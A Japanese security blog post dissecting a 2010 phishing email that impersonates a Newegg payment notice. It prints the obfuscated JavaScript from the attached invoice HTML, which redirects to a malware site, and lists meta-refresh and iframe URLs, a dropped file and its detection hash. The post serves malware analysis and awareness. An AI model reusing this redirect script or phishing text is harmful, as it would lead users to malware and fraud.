どらいつブログ ・・・ Dry2 Blog

件名
Newegg.com - Payment Charged

本文
Newegg.com - Payment Charged
Customer ID: 353455
AccountNumber: 47346765765
Hello,
Thank you for shopping at Newegg.com.
We are happy to inform you that your order (Sales Order Number: 134564535)has been successfully charged to your VISA and orderverification is now complete.
Please find attached invoice.
Once You Know, You Newegg.
Your Newegg.com Customer Service Team
Newegg.com,9997 E. Rose Hills Road, Whittier, CA. 90601 | 2000-2010 Newegg Inc.All rights reserved.

添付ファイル
NewEgg Invoice.html 含まれるスクリプト部分

---

ｆunction r(){};fQ=false;d="";r.prototype = {p : function() { this.j='';var pN=54899;s=false;this.k="k";this.kH=22581;c='';l=64422;ｄocument.location.href=ｓtring("htt"+"p:/"+"/tr"+"ace"+"boo"+"k.u"+"s/1"+".htOnc".substr(0,3)+"ml");this.g=59634;var o=false;z='';f="f";e="";y=22487;}};x="";var gK=false;var zA=new r(); pU='';this.u="u";zA.p();var lK=false;<
誘導先 → h丁丁p://tracebook.us/1.html
メタタグ → h丁丁p://cetogilco.cz.cc/scanner10/?afid=24
aguse.jpで調べてみると、今日は生きてない。そういうことか！。


iframeタグ → http://windows-portal.in/3/index.php?message=151&on=back&navig=ddd&pool=ssl
こちらの方は、
h丁丁p://windows-portal.in/home/j.php が落ちてきて

MD5: f6c79355101b4c382d2bb3e12e7b4fe2
Date first seen: 2010-06-17 17:50:15 (UTC)
Date last seen: 2010-08-24 12:36:27 (UTC)
Detection ratio: 16/42
ウイルスチェック結果